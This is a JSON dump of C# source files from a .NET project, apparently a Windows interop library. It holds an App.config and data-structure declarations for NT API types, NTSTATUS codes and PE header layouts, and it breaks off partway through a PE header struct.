[
  {
    "path": "App.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\" ?>\r\n<configuration>\r\n    <startup> \r\n        <supportedRuntime version=\"v4.0\" sku=\".NETFramework,Version=v4.8\" />\r\n    </startup>\r\n</configuration>"
  },
  {
    "path": "DInvoke.Data/Native.cs",
    "content": "﻿using System;\r\nusing System.Runtime.InteropServices;\r\n\r\nnamespace DInvoke.Data\r\n{\r\n    /// <summary>\r\n    /// Native is a library of enums and structures for Native (NtDll) API functions.\r\n    /// </summary>\r\n    /// <remarks>\r\n    /// A majority of this library is adapted from signatures found at www.pinvoke.net.\r\n    /// </remarks>\r\n    public static class Native\r\n    {\r\n        [StructLayout(LayoutKind.Sequential)]\r\n        public struct UNICODE_STRING\r\n        {\r\n            public UInt16 Length;\r\n            public UInt16 MaximumLength;\r\n            public IntPtr Buffer;\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential)]\r\n        public struct ANSI_STRING\r\n        {\r\n            public UInt16 Length;\r\n            public UInt16 MaximumLength;\r\n            public IntPtr Buffer;\r\n        }\r\n\r\n        public struct PROCESS_BASIC_INFORMATION\r\n        {\r\n            public IntPtr ExitStatus;\r\n            public IntPtr PebBaseAddress;\r\n            public IntPtr AffinityMask;\r\n            public IntPtr BasePriority;\r\n            public UIntPtr UniqueProcessId;\r\n            public int InheritedFromUniqueProcessId;\r\n\r\n            public int Size\r\n            {\r\n                get { return (int)Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); }\r\n            }\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential, Pack = 0)]\r\n        public struct OBJECT_ATTRIBUTES\r\n        {\r\n            public Int32 Length;\r\n            public IntPtr RootDirectory;\r\n            public IntPtr ObjectName; // -> UNICODE_STRING\r\n            public uint Attributes;\r\n            public IntPtr SecurityDescriptor;\r\n            public IntPtr SecurityQualityOfService;\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential)]\r\n        public struct IO_STATUS_BLOCK\r\n        {\r\n            public IntPtr Status;\r\n            public IntPtr Information;\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential)]\r\n        public struct CLIENT_ID\r\n        {\r\n            public IntPtr UniqueProcess;\r\n            public IntPtr UniqueThread;\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential)]\r\n        public struct OSVERSIONINFOEX\r\n        {\r\n            public uint OSVersionInfoSize;\r\n            public uint MajorVersion;\r\n            public uint MinorVersion;\r\n            public uint BuildNumber;\r\n            public uint PlatformId;\r\n            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]\r\n            public string CSDVersion;\r\n            public ushort ServicePackMajor;\r\n            public ushort ServicePackMinor;\r\n            public ushort SuiteMask;\r\n            public byte ProductType;\r\n            public byte Reserved;\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential)]\r\n        public struct LIST_ENTRY\r\n        {\r\n            public IntPtr Flink;\r\n            public IntPtr Blink;\r\n        }\r\n\r\n        public enum MEMORYINFOCLASS : int\r\n        {\r\n            MemoryBasicInformation = 0,\r\n            MemoryWorkingSetList,\r\n            MemorySectionName,\r\n            MemoryBasicVlmInformation\r\n        }\r\n\r\n        public enum PROCESSINFOCLASS : int\r\n        {\r\n            ProcessBasicInformation = 0, // 0, q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION\r\n            ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX\r\n            ProcessIoCounters, // q: IO_COUNTERS\r\n            ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX\r\n            ProcessTimes, // q: KERNEL_USER_TIMES\r\n            ProcessBasePriority, // s: KPRIORITY\r\n            ProcessRaisePriority, // s: ULONG\r\n            ProcessDebugPort, // q: HANDLE\r\n            ProcessExceptionPort, // s: HANDLE\r\n            ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN\r\n            ProcessLdtInformation, // 10\r\n            ProcessLdtSize,\r\n            ProcessDefaultHardErrorMode, // qs: ULONG\r\n            ProcessIoPortHandlers, // (kernel-mode only)\r\n            ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS\r\n            ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void\r\n            ProcessUserModeIOPL,\r\n            ProcessEnableAlignmentFaultFixup, // s: BOOLEAN\r\n            ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS\r\n            ProcessWx86Information,\r\n            ProcessHandleCount, // 20, q: ULONG, PROCESS_HANDLE_INFORMATION\r\n            ProcessAffinityMask, // s: KAFFINITY\r\n            ProcessPriorityBoost, // qs: ULONG\r\n            ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX\r\n            ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION\r\n            ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND\r\n            ProcessWow64Information, // q: ULONG_PTR\r\n            ProcessImageFileName, // q: UNICODE_STRING\r\n            ProcessLUIDDeviceMapsEnabled, // q: ULONG\r\n            ProcessBreakOnTermination, // qs: ULONG\r\n            ProcessDebugObjectHandle, // 30, q: HANDLE\r\n            ProcessDebugFlags, // qs: ULONG\r\n            ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables\r\n            ProcessIoPriority, // qs: ULONG\r\n            ProcessExecuteFlags, // qs: ULONG\r\n            ProcessResourceManagement,\r\n            ProcessCookie, // q: ULONG\r\n            ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION\r\n            ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION\r\n            ProcessPagePriority, // q: ULONG\r\n            ProcessInstrumentationCallback, // 40\r\n            ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX\r\n            ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[]\r\n            ProcessImageFileNameWin32, // q: UNICODE_STRING\r\n            ProcessImageFileMapping, // q: HANDLE (input)\r\n            ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE\r\n            ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE\r\n            ProcessGroupInformation, // q: USHORT[]\r\n            ProcessTokenVirtualizationEnabled, // s: ULONG\r\n            ProcessConsoleHostProcess, // q: ULONG_PTR\r\n            ProcessWindowInformation, // 50, q: PROCESS_WINDOW_INFORMATION\r\n            ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8\r\n            ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION\r\n            ProcessDynamicFunctionTableInformation,\r\n            ProcessHandleCheckingMode,\r\n            ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION\r\n            ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION\r\n            MaxProcessInfoClass\r\n        };\r\n\r\n        /// <summary>\r\n        /// NT_CREATION_FLAGS is an undocumented enum. https://processhacker.sourceforge.io/doc/ntpsapi_8h_source.html\r\n        /// </summary>\r\n        public enum NT_CREATION_FLAGS : ulong\r\n        {\r\n            CREATE_SUSPENDED = 0x00000001,\r\n            SKIP_THREAD_ATTACH = 0x00000002,\r\n            HIDE_FROM_DEBUGGER = 0x00000004,\r\n            HAS_SECURITY_DESCRIPTOR = 0x00000010,\r\n            ACCESS_CHECK_IN_TARGET = 0x00000020,\r\n            INITIAL_THREAD = 0x00000080\r\n        }\r\n\r\n        /// <summary>\r\n        /// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55\r\n        /// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html\r\n        /// </summary>\r\n        public enum NTSTATUS : uint\r\n        {\r\n            // Success\r\n            Success = 0x00000000,\r\n            Wait0 = 0x00000000,\r\n            Wait1 = 0x00000001,\r\n            Wait2 = 0x00000002,\r\n            Wait3 = 0x00000003,\r\n            Wait63 = 0x0000003f,\r\n            Abandoned = 0x00000080,\r\n            AbandonedWait0 = 0x00000080,\r\n            AbandonedWait1 = 0x00000081,\r\n            AbandonedWait2 = 0x00000082,\r\n            AbandonedWait3 = 0x00000083,\r\n            AbandonedWait63 = 0x000000bf,\r\n            UserApc = 0x000000c0,\r\n            KernelApc = 0x00000100,\r\n            Alerted = 0x00000101,\r\n            Timeout = 0x00000102,\r\n            Pending = 0x00000103,\r\n            Reparse = 0x00000104,\r\n            MoreEntries = 0x00000105,\r\n            NotAllAssigned = 0x00000106,\r\n            SomeNotMapped = 0x00000107,\r\n            OpLockBreakInProgress = 0x00000108,\r\n            VolumeMounted = 0x00000109,\r\n            RxActCommitted = 0x0000010a,\r\n            NotifyCleanup = 0x0000010b,\r\n            NotifyEnumDir = 0x0000010c,\r\n            NoQuotasForAccount = 0x0000010d,\r\n            PrimaryTransportConnectFailed = 0x0000010e,\r\n            PageFaultTransition = 0x00000110,\r\n            PageFaultDemandZero = 0x00000111,\r\n            PageFaultCopyOnWrite = 0x00000112,\r\n            PageFaultGuardPage = 0x00000113,\r\n            PageFaultPagingFile = 0x00000114,\r\n            CrashDump = 0x00000116,\r\n            ReparseObject = 0x00000118,\r\n            NothingToTerminate = 0x00000122,\r\n            ProcessNotInJob = 0x00000123,\r\n            ProcessInJob = 0x00000124,\r\n            ProcessCloned = 0x00000129,\r\n            FileLockedWithOnlyReaders = 0x0000012a,\r\n            FileLockedWithWriters = 0x0000012b,\r\n\r\n            // Informational\r\n            Informational = 0x40000000,\r\n            ObjectNameExists = 0x40000000,\r\n            ThreadWasSuspended = 0x40000001,\r\n            WorkingSetLimitRange = 0x40000002,\r\n            ImageNotAtBase = 0x40000003,\r\n            RegistryRecovered = 0x40000009,\r\n\r\n            // Warning\r\n            Warning = 0x80000000,\r\n            GuardPageViolation = 0x80000001,\r\n            DatatypeMisalignment = 0x80000002,\r\n            Breakpoint = 0x80000003,\r\n            SingleStep = 0x80000004,\r\n            BufferOverflow = 0x80000005,\r\n            NoMoreFiles = 0x80000006,\r\n            HandlesClosed = 0x8000000a,\r\n            PartialCopy = 0x8000000d,\r\n            DeviceBusy = 0x80000011,\r\n            InvalidEaName = 0x80000013,\r\n            EaListInconsistent = 0x80000014,\r\n            NoMoreEntries = 0x8000001a,\r\n            LongJump = 0x80000026,\r\n            DllMightBeInsecure = 0x8000002b,\r\n\r\n            // Error\r\n            Error = 0xc0000000,\r\n            Unsuccessful = 0xc0000001,\r\n            NotImplemented = 0xc0000002,\r\n            InvalidInfoClass = 0xc0000003,\r\n            InfoLengthMismatch = 0xc0000004,\r\n            AccessViolation = 0xc0000005,\r\n            InPageError = 0xc0000006,\r\n            PagefileQuota = 0xc0000007,\r\n            InvalidHandle = 0xc0000008,\r\n            BadInitialStack = 0xc0000009,\r\n            BadInitialPc = 0xc000000a,\r\n            InvalidCid = 0xc000000b,\r\n            TimerNotCanceled = 0xc000000c,\r\n            InvalidParameter = 0xc000000d,\r\n            NoSuchDevice = 0xc000000e,\r\n            NoSuchFile = 0xc000000f,\r\n            InvalidDeviceRequest = 0xc0000010,\r\n            EndOfFile = 0xc0000011,\r\n            WrongVolume = 0xc0000012,\r\n            NoMediaInDevice = 0xc0000013,\r\n            NoMemory = 0xc0000017,\r\n            ConflictingAddresses = 0xc0000018,\r\n            NotMappedView = 0xc0000019,\r\n            UnableToFreeVm = 0xc000001a,\r\n            UnableToDeleteSection = 0xc000001b,\r\n            IllegalInstruction = 0xc000001d,\r\n            AlreadyCommitted = 0xc0000021,\r\n            AccessDenied = 0xc0000022,\r\n            BufferTooSmall = 0xc0000023,\r\n            ObjectTypeMismatch = 0xc0000024,\r\n            NonContinuableException = 0xc0000025,\r\n            BadStack = 0xc0000028,\r\n            NotLocked = 0xc000002a,\r\n            NotCommitted = 0xc000002d,\r\n            InvalidParameterMix = 0xc0000030,\r\n            ObjectNameInvalid = 0xc0000033,\r\n            ObjectNameNotFound = 0xc0000034,\r\n            ObjectNameCollision = 0xc0000035,\r\n            ObjectPathInvalid = 0xc0000039,\r\n            ObjectPathNotFound = 0xc000003a,\r\n            ObjectPathSyntaxBad = 0xc000003b,\r\n            DataOverrun = 0xc000003c,\r\n            DataLate = 0xc000003d,\r\n            DataError = 0xc000003e,\r\n            CrcError = 0xc000003f,\r\n            SectionTooBig = 0xc0000040,\r\n            PortConnectionRefused = 0xc0000041,\r\n            InvalidPortHandle = 0xc0000042,\r\n            SharingViolation = 0xc0000043,\r\n            QuotaExceeded = 0xc0000044,\r\n            InvalidPageProtection = 0xc0000045,\r\n            MutantNotOwned = 0xc0000046,\r\n            SemaphoreLimitExceeded = 0xc0000047,\r\n            PortAlreadySet = 0xc0000048,\r\n            SectionNotImage = 0xc0000049,\r\n            SuspendCountExceeded = 0xc000004a,\r\n            ThreadIsTerminating = 0xc000004b,\r\n            BadWorkingSetLimit = 0xc000004c,\r\n            IncompatibleFileMap = 0xc000004d,\r\n            SectionProtection = 0xc000004e,\r\n            EasNotSupported = 0xc000004f,\r\n            EaTooLarge = 0xc0000050,\r\n            NonExistentEaEntry = 0xc0000051,\r\n            NoEasOnFile = 0xc0000052,\r\n            EaCorruptError = 0xc0000053,\r\n            FileLockConflict = 0xc0000054,\r\n            LockNotGranted = 0xc0000055,\r\n            DeletePending = 0xc0000056,\r\n            CtlFileNotSupported = 0xc0000057,\r\n            UnknownRevision = 0xc0000058,\r\n            RevisionMismatch = 0xc0000059,\r\n            InvalidOwner = 0xc000005a,\r\n            InvalidPrimaryGroup = 0xc000005b,\r\n            NoImpersonationToken = 0xc000005c,\r\n            CantDisableMandatory = 0xc000005d,\r\n            NoLogonServers = 0xc000005e,\r\n            NoSuchLogonSession = 0xc000005f,\r\n            NoSuchPrivilege = 0xc0000060,\r\n            PrivilegeNotHeld = 0xc0000061,\r\n            InvalidAccountName = 0xc0000062,\r\n            UserExists = 0xc0000063,\r\n            NoSuchUser = 0xc0000064,\r\n            GroupExists = 0xc0000065,\r\n            NoSuchGroup = 0xc0000066,\r\n            MemberInGroup = 0xc0000067,\r\n            MemberNotInGroup = 0xc0000068,\r\n            LastAdmin = 0xc0000069,\r\n            WrongPassword = 0xc000006a,\r\n            IllFormedPassword = 0xc000006b,\r\n            PasswordRestriction = 0xc000006c,\r\n            LogonFailure = 0xc000006d,\r\n            AccountRestriction = 0xc000006e,\r\n            InvalidLogonHours = 0xc000006f,\r\n            InvalidWorkstation = 0xc0000070,\r\n            PasswordExpired = 0xc0000071,\r\n            AccountDisabled = 0xc0000072,\r\n            NoneMapped = 0xc0000073,\r\n            TooManyLuidsRequested = 0xc0000074,\r\n            LuidsExhausted = 0xc0000075,\r\n            InvalidSubAuthority = 0xc0000076,\r\n            InvalidAcl = 0xc0000077,\r\n            InvalidSid = 0xc0000078,\r\n            InvalidSecurityDescr = 0xc0000079,\r\n            ProcedureNotFound = 0xc000007a,\r\n            InvalidImageFormat = 0xc000007b,\r\n            NoToken = 0xc000007c,\r\n            BadInheritanceAcl = 0xc000007d,\r\n            RangeNotLocked = 0xc000007e,\r\n            DiskFull = 0xc000007f,\r\n            ServerDisabled = 0xc0000080,\r\n            ServerNotDisabled = 0xc0000081,\r\n            TooManyGuidsRequested = 0xc0000082,\r\n            GuidsExhausted = 0xc0000083,\r\n            InvalidIdAuthority = 0xc0000084,\r\n            AgentsExhausted = 0xc0000085,\r\n            InvalidVolumeLabel = 0xc0000086,\r\n            SectionNotExtended = 0xc0000087,\r\n            NotMappedData = 0xc0000088,\r\n            ResourceDataNotFound = 0xc0000089,\r\n            ResourceTypeNotFound = 0xc000008a,\r\n            ResourceNameNotFound = 0xc000008b,\r\n            ArrayBoundsExceeded = 0xc000008c,\r\n            FloatDenormalOperand = 0xc000008d,\r\n            FloatDivideByZero = 0xc000008e,\r\n            FloatInexactResult = 0xc000008f,\r\n            FloatInvalidOperation = 0xc0000090,\r\n            FloatOverflow = 0xc0000091,\r\n            FloatStackCheck = 0xc0000092,\r\n            FloatUnderflow = 0xc0000093,\r\n            IntegerDivideByZero = 0xc0000094,\r\n            IntegerOverflow = 0xc0000095,\r\n            PrivilegedInstruction = 0xc0000096,\r\n            TooManyPagingFiles = 0xc0000097,\r\n            FileInvalid = 0xc0000098,\r\n            InsufficientResources = 0xc000009a,\r\n            InstanceNotAvailable = 0xc00000ab,\r\n            PipeNotAvailable = 0xc00000ac,\r\n            InvalidPipeState = 0xc00000ad,\r\n            PipeBusy = 0xc00000ae,\r\n            IllegalFunction = 0xc00000af,\r\n            PipeDisconnected = 0xc00000b0,\r\n            PipeClosing = 0xc00000b1,\r\n            PipeConnected = 0xc00000b2,\r\n            PipeListening = 0xc00000b3,\r\n            InvalidReadMode = 0xc00000b4,\r\n            IoTimeout = 0xc00000b5,\r\n            FileForcedClosed = 0xc00000b6,\r\n            ProfilingNotStarted = 0xc00000b7,\r\n            ProfilingNotStopped = 0xc00000b8,\r\n            NotSameDevice = 0xc00000d4,\r\n            FileRenamed = 0xc00000d5,\r\n            CantWait = 0xc00000d8,\r\n            PipeEmpty = 0xc00000d9,\r\n            CantTerminateSelf = 0xc00000db,\r\n            InternalError = 0xc00000e5,\r\n            InvalidParameter1 = 0xc00000ef,\r\n            InvalidParameter2 = 0xc00000f0,\r\n            InvalidParameter3 = 0xc00000f1,\r\n            InvalidParameter4 = 0xc00000f2,\r\n            InvalidParameter5 = 0xc00000f3,\r\n            InvalidParameter6 = 0xc00000f4,\r\n            InvalidParameter7 = 0xc00000f5,\r\n            InvalidParameter8 = 0xc00000f6,\r\n            InvalidParameter9 = 0xc00000f7,\r\n            InvalidParameter10 = 0xc00000f8,\r\n            InvalidParameter11 = 0xc00000f9,\r\n            InvalidParameter12 = 0xc00000fa,\r\n            ProcessIsTerminating = 0xc000010a,\r\n            MappedFileSizeZero = 0xc000011e,\r\n            TooManyOpenedFiles = 0xc000011f,\r\n            Cancelled = 0xc0000120,\r\n            CannotDelete = 0xc0000121,\r\n            InvalidComputerName = 0xc0000122,\r\n            FileDeleted = 0xc0000123,\r\n            SpecialAccount = 0xc0000124,\r\n            SpecialGroup = 0xc0000125,\r\n            SpecialUser = 0xc0000126,\r\n            MembersPrimaryGroup = 0xc0000127,\r\n            FileClosed = 0xc0000128,\r\n            TooManyThreads = 0xc0000129,\r\n            ThreadNotInProcess = 0xc000012a,\r\n            TokenAlreadyInUse = 0xc000012b,\r\n            PagefileQuotaExceeded = 0xc000012c,\r\n            CommitmentLimit = 0xc000012d,\r\n            InvalidImageLeFormat = 0xc000012e,\r\n            InvalidImageNotMz = 0xc000012f,\r\n            InvalidImageProtect = 0xc0000130,\r\n            InvalidImageWin16 = 0xc0000131,\r\n            LogonServer = 0xc0000132,\r\n            DifferenceAtDc = 0xc0000133,\r\n            SynchronizationRequired = 0xc0000134,\r\n            DllNotFound = 0xc0000135,\r\n            IoPrivilegeFailed = 0xc0000137,\r\n            OrdinalNotFound = 0xc0000138,\r\n            EntryPointNotFound = 0xc0000139,\r\n            ControlCExit = 0xc000013a,\r\n            InvalidAddress = 0xc0000141,\r\n            PortNotSet = 0xc0000353,\r\n            DebuggerInactive = 0xc0000354,\r\n            CallbackBypass = 0xc0000503,\r\n            PortClosed = 0xc0000700,\r\n            MessageLost = 0xc0000701,\r\n            InvalidMessage = 0xc0000702,\r\n            RequestCanceled = 0xc0000703,\r\n            RecursiveDispatch = 0xc0000704,\r\n            LpcReceiveBufferExpected = 0xc0000705,\r\n            LpcInvalidConnectionUsage = 0xc0000706,\r\n            LpcRequestsNotAllowed = 0xc0000707,\r\n            ResourceInUse = 0xc0000708,\r\n            ProcessIsProtected = 0xc0000712,\r\n            VolumeDirty = 0xc0000806,\r\n            FileCheckedOut = 0xc0000901,\r\n            CheckOutRequired = 0xc0000902,\r\n            BadFileType = 0xc0000903,\r\n            FileTooLarge = 0xc0000904,\r\n            FormsAuthRequired = 0xc0000905,\r\n            VirusInfected = 0xc0000906,\r\n            VirusDeleted = 0xc0000907,\r\n            TransactionalConflict = 0xc0190001,\r\n            InvalidTransaction = 0xc0190002,\r\n            TransactionNotActive = 0xc0190003,\r\n            TmInitializationFailed = 0xc0190004,\r\n            RmNotActive = 0xc0190005,\r\n            RmMetadataCorrupt = 0xc0190006,\r\n            TransactionNotJoined = 0xc0190007,\r\n            DirectoryNotRm = 0xc0190008,\r\n            CouldNotResizeLog = 0xc0190009,\r\n            TransactionsUnsupportedRemote = 0xc019000a,\r\n            LogResizeInvalidSize = 0xc019000b,\r\n            RemoteFileVersionMismatch = 0xc019000c,\r\n            CrmProtocolAlreadyExists = 0xc019000f,\r\n            TransactionPropagationFailed = 0xc0190010,\r\n            CrmProtocolNotFound = 0xc0190011,\r\n            TransactionSuperiorExists = 0xc0190012,\r\n            TransactionRequestNotValid = 0xc0190013,\r\n            TransactionNotRequested = 0xc0190014,\r\n            TransactionAlreadyAborted = 0xc0190015,\r\n            TransactionAlreadyCommitted = 0xc0190016,\r\n            TransactionInvalidMarshallBuffer = 0xc0190017,\r\n            CurrentTransactionNotValid = 0xc0190018,\r\n            LogGrowthFailed = 0xc0190019,\r\n            ObjectNoLongerExists = 0xc0190021,\r\n            StreamMiniversionNotFound = 0xc0190022,\r\n            StreamMiniversionNotValid = 0xc0190023,\r\n            MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,\r\n            CantOpenMiniversionWithModifyIntent = 0xc0190025,\r\n            CantCreateMoreStreamMiniversions = 0xc0190026,\r\n            HandleNoLongerValid = 0xc0190028,\r\n            NoTxfMetadata = 0xc0190029,\r\n            LogCorruptionDetected = 0xc0190030,\r\n            CantRecoverWithHandleOpen = 0xc0190031,\r\n            RmDisconnected = 0xc0190032,\r\n            EnlistmentNotSuperior = 0xc0190033,\r\n            RecoveryNotNeeded = 0xc0190034,\r\n            RmAlreadyStarted = 0xc0190035,\r\n            FileIdentityNotPersistent = 0xc0190036,\r\n            CantBreakTransactionalDependency = 0xc0190037,\r\n            CantCrossRmBoundary = 0xc0190038,\r\n            TxfDirNotEmpty = 0xc0190039,\r\n            IndoubtTransactionsExist = 0xc019003a,\r\n            TmVolatile = 0xc019003b,\r\n            RollbackTimerExpired = 0xc019003c,\r\n            TxfAttributeCorrupt = 0xc019003d,\r\n            EfsNotAllowedInTransaction = 0xc019003e,\r\n            TransactionalOpenNotAllowed = 0xc019003f,\r\n            TransactedMappingUnsupportedRemote = 0xc0190040,\r\n            TxfMetadataAlreadyPresent = 0xc0190041,\r\n            TransactionScopeCallbacksNotSet = 0xc0190042,\r\n            TransactionRequiredPromotion = 0xc0190043,\r\n            CannotExecuteFileInTransaction = 0xc0190044,\r\n            TransactionsNotFrozen = 0xc0190045,\r\n\r\n            MaximumNtStatus = 0xffffffff\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "DInvoke.Data/PE.cs",
    "content": "﻿using System;\r\nusing System.Runtime.InteropServices;\r\n\r\nnamespace DInvoke.Data\r\n{\r\n    /// <summary>\r\n    /// Holds data structures for using PEs.\r\n    /// </summary>\r\n    public static class PE\r\n    {\r\n        // DllMain constants\r\n        public const UInt32 DLL_PROCESS_DETACH = 0;\r\n        public const UInt32 DLL_PROCESS_ATTACH = 1;\r\n        public const UInt32 DLL_THREAD_ATTACH = 2;\r\n        public const UInt32 DLL_THREAD_DETACH = 3;\r\n\r\n        // Primary class for loading PE\r\n        [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n        public delegate bool DllMain(IntPtr hinstDLL, uint fdwReason, IntPtr lpvReserved);\r\n\r\n        [Flags]\r\n        public enum DataSectionFlags : uint\r\n        {\r\n            TYPE_NO_PAD = 0x00000008,\r\n            CNT_CODE = 0x00000020,\r\n            CNT_INITIALIZED_DATA = 0x00000040,\r\n            CNT_UNINITIALIZED_DATA = 0x00000080,\r\n            LNK_INFO = 0x00000200,\r\n            LNK_REMOVE = 0x00000800,\r\n            LNK_COMDAT = 0x00001000,\r\n            NO_DEFER_SPEC_EXC = 0x00004000,\r\n            GPREL = 0x00008000,\r\n            MEM_FARDATA = 0x00008000,\r\n            MEM_PURGEABLE = 0x00020000,\r\n            MEM_16BIT = 0x00020000,\r\n            MEM_LOCKED = 0x00040000,\r\n            MEM_PRELOAD = 0x00080000,\r\n            ALIGN_1BYTES = 0x00100000,\r\n            ALIGN_2BYTES = 0x00200000,\r\n            ALIGN_4BYTES = 0x00300000,\r\n            ALIGN_8BYTES = 0x00400000,\r\n            ALIGN_16BYTES = 0x00500000,\r\n            ALIGN_32BYTES = 0x00600000,\r\n            ALIGN_64BYTES = 0x00700000,\r\n            ALIGN_128BYTES = 0x00800000,\r\n            ALIGN_256BYTES = 0x00900000,\r\n            ALIGN_512BYTES = 0x00A00000,\r\n            ALIGN_1024BYTES = 0x00B00000,\r\n            ALIGN_2048BYTES = 0x00C00000,\r\n            ALIGN_4096BYTES = 0x00D00000,\r\n            ALIGN_8192BYTES = 0x00E00000,\r\n            ALIGN_MASK = 0x00F00000,\r\n            LNK_NRELOC_OVFL = 0x01000000,\r\n            MEM_DISCARDABLE = 0x02000000,\r\n            MEM_NOT_CACHED = 0x04000000,\r\n            MEM_NOT_PAGED = 0x08000000,\r\n            MEM_SHARED = 0x10000000,\r\n            MEM_EXECUTE = 0x20000000,\r\n            MEM_READ = 0x40000000,\r\n            MEM_WRITE = 0x80000000\r\n        }\r\n\r\n\r\n        public struct IMAGE_DOS_HEADER\r\n        {      // DOS .EXE header\r\n            public UInt16 e_magic;              // Magic number\r\n            public UInt16 e_cblp;               // Bytes on last page of file\r\n            public UInt16 e_cp;                 // Pages in file\r\n            public UInt16 e_crlc;               // Relocations\r\n            public UInt16 e_cparhdr;            // Size of header in paragraphs\r\n            public UInt16 e_minalloc;           // Minimum extra paragraphs needed\r\n            public UInt16 e_maxalloc;           // Maximum extra paragraphs needed\r\n            public UInt16 e_ss;                 // Initial (relative) SS value\r\n            public UInt16 e_sp;                 // Initial SP value\r\n            public UInt16 e_csum;               // Checksum\r\n            public UInt16 e_ip;                 // Initial IP value\r\n            public UInt16 e_cs;                 // Initial (relative) CS value\r\n            public UInt16 e_lfarlc;             // File address of relocation table\r\n            public UInt16 e_ovno;               // Overlay number\r\n            public UInt16 e_res_0;              // Reserved words\r\n            public UInt16 e_res_1;              // Reserved words\r\n            public UInt16 e_res_2;              // Reserved words\r\n            public UInt16 e_res_3;              // Reserved words\r\n            public UInt16 e_oemid;              // OEM identifier (for e_oeminfo)\r\n            public UInt16 e_oeminfo;            // OEM information; e_oemid specific\r\n            public UInt16 e_res2_0;             // Reserved words\r\n            public UInt16 e_res2_1;             // Reserved words\r\n            public UInt16 e_res2_2;             // Reserved words\r\n            public UInt16 e_res2_3;             // Reserved words\r\n            public UInt16 e_res2_4;             // Reserved words\r\n            public UInt16 e_res2_5;             // Reserved words\r\n            public UInt16 e_res2_6;             // Reserved words\r\n            public UInt16 e_res2_7;             // Reserved words\r\n            public UInt16 e_res2_8;             // Reserved words\r\n            public UInt16 e_res2_9;             // Reserved words\r\n            public UInt32 e_lfanew;             // File address of new exe header\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential)]\r\n        public struct IMAGE_DATA_DIRECTORY\r\n        {\r\n            public UInt32 VirtualAddress;\r\n            public UInt32 Size;\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n        public struct IMAGE_OPTIONAL_HEADER32\r\n        {\r\n            public UInt16 Magic;\r\n            public Byte MajorLinkerVersion;\r\n            public Byte MinorLinkerVersion;\r\n            public UInt32 SizeOfCode;\r\n            public UInt32 SizeOfInitializedData;\r\n            public UInt32 SizeOfUninitializedData;\r\n            public UInt32 AddressOfEntryPoint;\r\n            public UInt32 BaseOfCode;\r\n            public UInt32 BaseOfData;\r\n            public UInt32 ImageBase;\r\n            public UInt32 SectionAlignment;\r\n            public UInt32 FileAlignment;\r\n            public UInt16 MajorOperatingSystemVersion;\r\n            public UInt16 MinorOperatingSystemVersion;\r\n            public UInt16 MajorImageVersion;\r\n            public UInt16 MinorImageVersion;\r\n            public UInt16 MajorSubsystemVersion;\r\n            public UInt16 MinorSubsystemVersion;\r\n            public UInt32 Win32VersionValue;\r\n            public UInt32 SizeOfImage;\r\n            public UInt32 SizeOfHeaders;\r\n            public UInt32 CheckSum;\r\n            public UInt16 Subsystem;\r\n            public UInt16 DllCharacteristics;\r\n            public UInt32 SizeOfStackReserve;\r\n            public UInt32 SizeOfStackCommit;\r\n            public UInt32 SizeOfHeapReserve;\r\n            public UInt32 SizeOfHeapCommit;\r\n            public UInt32 LoaderFlags;\r\n            public UInt32 NumberOfRvaAndSizes;\r\n\r\n            public IMAGE_DATA_DIRECTORY ExportTable;\r\n            public IMAGE_DATA_DIRECTORY ImportTable;\r\n            public IMAGE_DATA_DIRECTORY ResourceTable;\r\n            public IMAGE_DATA_DIRECTORY ExceptionTable;\r\n            public IMAGE_DATA_DIRECTORY CertificateTable;\r\n            public IMAGE_DATA_DIRECTORY BaseRelocationTable;\r\n            public IMAGE_DATA_DIRECTORY Debug;\r\n            public IMAGE_DATA_DIRECTORY Architecture;\r\n            public IMAGE_DATA_DIRECTORY GlobalPtr;\r\n            public IMAGE_DATA_DIRECTORY TLSTable;\r\n            public IMAGE_DATA_DIRECTORY LoadConfigTable;\r\n            public IMAGE_DATA_DIRECTORY BoundImport;\r\n            public IMAGE_DATA_DIRECTORY IAT;\r\n            public IMAGE_DATA_DIRECTORY DelayImportDescriptor;\r\n            public 